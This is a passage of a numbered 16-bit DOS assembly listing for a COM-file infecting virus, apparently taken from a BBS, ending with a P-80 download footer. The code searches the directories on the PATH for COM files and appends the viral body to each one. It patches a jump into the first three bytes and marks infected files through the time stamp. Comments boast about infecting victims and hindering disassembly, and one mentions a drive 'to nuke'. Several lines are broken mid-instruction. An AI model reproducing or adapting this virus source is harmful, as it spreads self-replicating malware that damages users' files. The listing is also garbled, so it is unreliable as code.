  809.         add     di,WRK_SPC              ;pUT THE FILENAME IN WRK_SPC
  810.         mov     bx,si
  811.         add     si,WRK_SPC
  812.         mov     di,si
  813.         jmp     short   SLASH_OK
  814.  
  815. SET_SUBDIR:
  816.         cmp     word ptr [si+PATH_AD],0
  817.         jnz     FOUND_SUBDIR
  818.         jmp     ALL_DONE
  819.  
  820.  
  821. FOUND_SUBDIR:
  822.         push    ds
  823.         push    si
  824.         mov     ds,es:2ch
  825.         mov     di,si
  826.         mov     si,es:[di+PATH_AD]
  827.         add     di,WRK_SPC              ;di IS THE FILE NAME TO INFECT! (HEHE)
  828.  
  829.  
  830. MOVE_SUBDIR:
  831.         lodsb                           ;tO TEDIOUS WORK TO MOVE INTO SUBDIR
  832.         cmp     al,';'                  ;dOES IT END WITH A ; CHARACHTER?
  833.         jz      MOVED_ONE               ;IF YES, THEN WE FOUND A SUBDIR
  834.         cmp     al,0                    ;IS IT THE END OF THE PATH?
  835.         jz      MOVED_LAST_ONE          ;IF YES, THEN WE SAVE THE path
  836.         stosb                           ;MARKER INTO di FOR FUTURE REFERENCE
  837.  
  838.       jmp     short   MOVE_SUBDIR
  839.  
  840. MOVED_LAST_ONE:
  841.         mov     si,0
  842.  
  843. MOVED_ONE:
  844.         pop     bx                      ;bx IS WHERE THE VIRUS DATA IS
  845.         pop     ds                      ;rESTORE ds SO THAT WE CAN DO STUPH
  846.         mov     [bx+PATH_AD],si         ;wHERE IS THE NEXT SUBDIR?
  847.         nop
  848.         cmp     ch,'\'                  ;cHECK TO SEE IF IT ENDS IN \
  849.         jz      SLASH_OK                ;iF YES, THEN IT'S ok
  850.         mov     al,'\'                  ;IF NOT, THEN ADD ONE...
  851.         stosb                                ;STORE THE SUCKER
  852.  
  853.  
  854. SLASH_OK:
  855.         mov     [bx+NAM_PTR],di         ;mOVE THE FILENAME INTO WORKSPACE
  856.         mov     si,bx                   ;rESTORE THE ORIGINAL si VALUE
  857.         add     si,F_SPEC               ;pOINT TO com FILE VICTIM
  858.         mov     cx,6
  859.         repz    movsb                   ;mOVE VICTIM INTO WORKSPACE
  860.         mov     si,bx
  861.         mov     ah,4eh
  862.         mov     dx,WRK_SPC
  863.         add     dx,si                   ;dx IS
  864. ov     cx,3                    ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
  865.         int     21h
  866.         jmp     short   FIND_FIRST
  867.  
  868. FIND_NEXT:
  869.         mov     ah,4fh
  870.         int     21h
  871.  
  872. FIND_FIRST:
  873.         jnb     FOUND_FILE              ;jUMP IF WE FOUND IT
  874.         jmp     short   SET_SUBDIR      ;oTHERWISE, GET ANOTHER SUBDIRECTORY
  875.  
  876. FOUND_FILE:
  877.         mov     ax,[si+DTA_TIM]         ;gET TIME FROM dta
  878.         and     al,1eh                  ;mASK TO REMOVE ALL BUT SECONDS
  879.         cmp     al,1eh                  ;60 SECONDS
  880.         jz      FIND_NEXT
  881.         cmp     word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
  882.         ja      FIND_NEXT               ;iF TOO LONG, FIND ANOTHER ONE
  883.         cmp     word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
  884.         jb      FIND_NEXT               ;tHEN GO FIND ANOTHER ONE
  885.         mov     di,[si+NAM_PTR]
  886.         push    si
  887.         add     si,DTA_NAM
  888.  
  889. MORE_CHARS:
  890.         lodsb
  891.         stosb
  892.         cmp     al,0
  893.         jnz     MORE_CHARS
  894.         p
  895. op     si
  896.         mov     ax,offset 4300h
  897.         mov     dx,WRK_SPC
  898.         add     dx,si
  899.         int     21h
  900.         mov     [si+OLD_ATT],cx
  901.         mov     ax,offset 4301h
  902.         and     cx,offset 0fffeh
  903.         mov     dx,WRK_SPC
  904.         add     dx,si
  905.         int     21h
  906.         mov     ax,offset 3d02h
  907.         mov     dx,WRK_SPC
  908.         add     dx,si
  909.         int     21h
  910.         jnb     OPENED_OK
  911.         jmp     FIX_ATTR
  912.  
  913. OPENED_OK:
  914.         mov     bx,ax
  915.         mov     ax,offset 5700h
  916.         int     21h
  917.         mov     [si+OLD_TIM],cx         ;sAVE FILE TIME
  918.         mov     [si+OL_DATE],dx         ;sAVE THE DATE
  919.         mov     ah,2ch
  920.         int     21h
  921.         and     dh,7
  922.         jmp     INFECT
  923.  
  924. INFECT:
  925.         mov     ah,3fh
  926.         mov     cx,3
  927.         mov     dx,FIRST_3
  928.         add     dx,si
  929.         int     21h             ;sAVE FIRST 3 BYTES INTO THE DATA AREA
  930.         jb      FIX_TIME_STAMP
  931.         cmp     ax,3
  932.         jnz     FIX_TIME_STAMP
  933.         mov     ax,offset 4202h
  934.  
  935.         mov     cx,0
  936.         mov     dx,0
  937.         int     21h
  938.         jb      FIX_TIME_STAMP
  939.         mov     cx,ax
  940.         sub     ax,3
  941.         mov     [si+JMP_DSP],ax
  942.         add     cx,offset C_LEN_Y
  943.         mov     di,si
  944.         sub     di,offset C_LEN_X
  945.  
  946.         mov     [di],cx
  947.         mov     ah,40h
  948.         mov_cx  VIRLEN
  949.         mov     dx,si
  950.         sub     dx,offset CODELEN
  951.         int     21h
  952.         jb      FIX_TIME_STAMP
  953.         cmp     ax,offset VIRLEN
  954.         jnz     FIX_TIME_STAMP
  955.         mov     ax,offset 4200h
  956.         mov     cx,0
  957.         mov     dx,0
  958.         int     21h
  959.         jb      FIX_TIME_STAMP
  960.         mov     ah,40h
  961.         mov     cx,3
  962.         mov     dx,si
  963.         add     dx,JMP_OP
  964.         int     21h
  965.  
  966. FIX_TIME_STAMP:
  967.         mov     dx,[si+OL_DATE]
  968.         mov     cx,[si+OLD_TIM]
  969.         and     cx,offset 0ffe0h
  970.         or      cx,1eh
  971.         mov     ax,offset 5701h
  972.         int     21h
  973.         mov     ah,3eh
  974.         int     21h
  975.  
  976. FIX_ATTR:
  977.         mov     ax,
  978. offset 4301h
  979.         mov     cx,[si+OLD_ATT]
  980.         mov     dx,WRK_SPC
  981.         add     dx,si
  982.         int     21h
  983.  
  984. ALL_DONE:
  985.         push    ds
  986.         mov     ah,1ah
  987.         mov     dx,[si+OLD_DTA]
  988.         mov     ds,[si+OLD_DTS]
  989.         int     21h
  990.         pop     ds
  991.  
  992. QUIT:
  993.         pop     cx
  994.         xor     ax,ax                   ;xor VALUES SO THAT WE WILL GIVE THE
  995.         xor     bx,bx                      ;POOR SUCKER A HARD TIME TRYING TO
  996.         xor     dx,dx                        ;REASSEMBLE THE SOURCE CODE IF HE
  997.         xor     si,si                 ;DECIDES TO DISSASSEMBLE US.
  998.         mov     di,offset 0100h
  999.         push    di
  1000.         xor     di,di
  1001.         ret     0ffffh                    ;rETURN BACK TO THE BEGINNING
  1002.                                   ;OF THE PROGRAM
  1003.  
  1004. VIR_DAT equ     $
  1005.  
  1006. INTRO       DB      '.d$^I*&b)_A.%r',13,10
  1007. OLDDTA_ dw      0
  1008. OLDDTS_ dw      0
  1009. OLDTIM_ dw      0
  1010. COUNT_     dw      0
  1011. CNTR  db      2                               ; dRIVE TO NUKE FROM (c:
  1012.      0
  1013. NAMPTR_ dw      0
  1014. ENVSTR_ db      'path='
  1015. WRKSPC_ db      40H DUP (0)
  1016. DTA_    db      16H DUP (0)
  1017. DTATIM_ dw      0,0
  1018. DTALEN_ dw      0,0
  1019. DTANAM_ db      0dH DUP (0)
  1020. LST_BYT equ     $
  1021. VIRLEN  =       LST_BYT - V_START
  1022. CODELEN =       VIR_DAT - V_START
  1023. C_LEN_X =       VIR_DAT - V_START - 2
  1024. C_LEN_Y =       VIR_DAT - V_START + 100h
  1025. OLD_DTA =       OLDDTA_ - VIR_DAT
  1026. OLD_DTS =       OLDDTS_ - VIR_DAT
  1027. OLD_TIM =       OLDTIM_ - VIR_DAT
  1028. OL_DATE =       OLDATE_ - VIR_DAT
  1029. OLD_ATT =       OLDATT_ - VIR_DAT
  1030. FIRST_3 =       FIRST3_ - VIR_DAT
  1031. JMP_OP  =       JMPOP_  - VIR_DAT
  1032. JMP_DSP =       JMPDSP_ - VIR_DAT
  1033. F_SPEC  =       FSPEC_  - VIR_DAT
  1034. PATH_AD =       PATHAD_ - VIR_DAT
  1035. NAM_PTR =       NAMPTR_ - VIR_DAT
  1036. ENV_STR =       ENVSTR_ - VIR_DAT
  1037. WRK_SPC =       WRKSPC_ - VIR_DAT
  1038. DTA     =       DTA_    - VIR_DAT
  1039. DTA_TIM =       DTATIM_ - VIR_DAT
  1040. DTA_LEN =       DTALEN_ - VIR_DAT
  1041. DTA_NAM =       DTANAM_ - VIR_DAT
  1042. COUNT       =       COUNT_  - VIR_DAT
  1043.  
  1044.         code    ends
  1045. end     vcode
  1046.  
  1047. ---------
  1048. ----------------------------------------------------------
  1049.                                                                         hr
  1050.  
  1051. Downloaded From P-80 International Information Systems 304-744-2253
  1052.